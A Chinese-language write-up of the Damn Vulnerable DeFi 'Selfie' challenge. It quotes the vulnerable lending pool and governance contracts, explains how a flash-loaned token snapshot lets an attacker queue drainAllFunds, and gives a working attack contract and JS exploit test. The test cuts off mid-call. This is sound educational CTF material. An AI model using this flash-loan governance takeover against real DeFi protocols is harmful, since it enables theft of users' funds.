Selfie
分析
题目要求:
A new cool lending pool has launched! It’s now offering flash loans of
DVT tokens.Wow, and it even includes a really fancy governance mechanism to
control it.What could go wrong, right ?
You start with no DVT tokens in balance, and the pool has 1.5 million.
Your objective: take them all.
大意是有一个提供DVT代币的闪电贷,池中有一百五十万个DVT,而我们一无所有,但我们需要拿走全部的DVT.
题目给了两个合约,一个是闪电贷合约,另一个是闪电贷的治理合约
闪电贷合约:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "./SimpleGovernance.sol";
/**
* @title SelfiePool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract SelfiePool is ReentrancyGuard {
using Address for address;
ERC20Snapshot public token;
SimpleGovernance public governance;
event FundsDrained(address indexed receiver, uint256 amount);
modifier onlyGovernance() {
require(msg.sender == address(governance), "Only governance can execute this action");
_;
}
constructor(address tokenAddress, address governanceAddress) {
token = ERC20Snapshot(tokenAddress);
governance = SimpleGovernance(governanceAddress);
}
function flashLoan(uint256 borrowAmount) external nonReentrant {
uint256 balanceBefore = token.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
token.transfer(msg.sender, borrowAmount);
require(msg.sender.isContract(), "Sender must be a deployed contract");
msg.sender.functionCall(
abi.encodeWithSignature(
"receiveTokens(address,uint256)",
address(token),
borrowAmount
)
);
uint256 balanceAfter = token.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}
function drainAllFunds(address receiver) external onlyGovernance {
uint256 amount = token.balanceOf(address(this));
token.transfer(receiver, amount);
emit FundsDrained(receiver, amount);
}
}
这个合约只有两个函数,一个函数用来进行闪电贷,在其中触发我们的receiveTokens函数,另一个函数只有治理合约能够调用,用来向其他合约转钱。
治理合约:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../DamnValuableTokenSnapshot.sol";
import "@openzeppelin/contracts/utils/Address.sol";
/**
* @title SimpleGovernance
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract SimpleGovernance {
using Address for address;
struct GovernanceAction {
address receiver;
bytes data;
uint256 weiAmount;
uint256 proposedAt;
uint256 executedAt;
}
DamnValuableTokenSnapshot public governanceToken;
mapping(uint256 => GovernanceAction) public actions;
uint256 private actionCounter;
uint256 private ACTION_DELAY_IN_SECONDS = 2 days;
event ActionQueued(uint256 actionId, address indexed caller);
event ActionExecuted(uint256 actionId, address indexed caller);
constructor(address governanceTokenAddress) {
require(governanceTokenAddress != address(0), "Governance token cannot be zero address");
governanceToken = DamnValuableTokenSnapshot(governanceTokenAddress);
actionCounter = 1;
}
function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) {
require(_hasEnoughVotes(msg.sender), "Not enough votes to propose an action");
require(receiver != address(this), "Cannot queue actions that affect Governance");
uint256 actionId = actionCounter;
GovernanceAction storage actionToQueue = actions[actionId];
actionToQueue.receiver = receiver;
actionToQueue.weiAmount = weiAmount;
actionToQueue.data = data;
actionToQueue.proposedAt = block.timestamp;
actionCounter++;
emit ActionQueued(actionId, msg.sender);
return actionId;
}
function executeAction(uint256 actionId) external payable {
require(_canBeExecuted(actionId), "Cannot execute this action");
GovernanceAction storage actionToExecute = actions[actionId];
actionToExecute.executedAt = block.timestamp;
actionToExecute.receiver.functionCallWithValue(
actionToExecute.data,
actionToExecute.weiAmount
);
emit ActionExecuted(actionId, msg.sender);
}
function getActionDelay() public view returns (uint256) {
return ACTION_DELAY_IN_SECONDS;
}
/**
* @dev an action can only be executed if:
* 1) it's never been executed before and
* 2) enough time has passed since it was first proposed
*/
function _canBeExecuted(uint256 actionId) private view returns (bool) {
GovernanceAction memory actionToExecute = actions[actionId];
return (
actionToExecute.executedAt == 0 &&
(block.timestamp - actionToExecute.proposedAt >= ACTION_DELAY_IN_SECONDS)
);
}
function _hasEnoughVotes(address account) private view returns (bool) {
uint256 balance = governanceToken.getBalanceAtLastSnapshot(account);
uint256 halfTotalSupply = governanceToken.getTotalSupplyAtLastSnapshot() / 2;
return balance > halfTotalSupply;
}
}
这个合约有两个函数,第一个函数的意思是,当你拥有了矿池中半数以上的DVT代币后,你就能够通过这个合约执行一次调用操作,queueAction函数会验证你是否拥有足够的token,如果有则将你想要执行的调用存入链上,在两天之后输入你的id即可在executeAction中执行该调用。
很明显,我们需要存入并且执行调用,我们可以在executeAction函数中去执行闪电贷合约中的drainAllFunds函数,这样即可绕开onlyGovernance的限定,将闪电贷合约中的token全部发送给我们,掏空该合约。
攻击
攻击合约:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../DamnValuableTokenSnapshot.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "./SelfiePool.sol";
import "./SimpleGovernance.sol";
contract selfieAttack{
using Address for address;
SelfiePool public pool;
SimpleGovernance governance;
DamnValuableTokenSnapshot token;
bytes data;
uint256 acountID;
constructor(address _pool,address _governance,address attacker,address _token){
pool = SelfiePool(_pool);
governance = SimpleGovernance(_governance);
token = DamnValuableTokenSnapshot(_token);
}
function loan(uint256 amount,bytes memory _data)public payable{
data = _data;
pool.flashLoan(amount);
}
function receiveTokens(address _token,uint256 amount)public{
token.snapshot();
acountID = governance.queueAction(address(pool),data,0);
token.transfer(msg.sender,amount);
}
function complete()public{
governance.executeAction(acountID);
token.transfer(msg.sender,token.balanceOf(address(this)));
}
fallback()external payable{
}
}
攻击原理很简单,先闪电贷借出全部的token,然后再receiveTokens函数中调用queueAction函数,将构造好的data和闪电贷合约地址传入,然后将钱返还给闪电贷合约。最后调用complete函数,执行executeAction函数,将钱转入我们的账户。
js攻击合约:
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
const data = web3.eth.abi.encodeFunctionCall(
{
name:'drainAllFunds',
type:'function',
inputs:[{
type:'address',
name:'receiver'
}]
},[attacker.address]);
const SelfieAttackFactory = await ethers.getContractFactory("selfieAttack",attacker);
this.attack =await SelfieAttackFactory.deploy(this.pool.address,this.governance.address,attacker.address,this.token.address);
await this.attack.connect(attacker).loan(TOKENS_IN_POOL,data);
await ethers.provider.send("evm_increaseTime",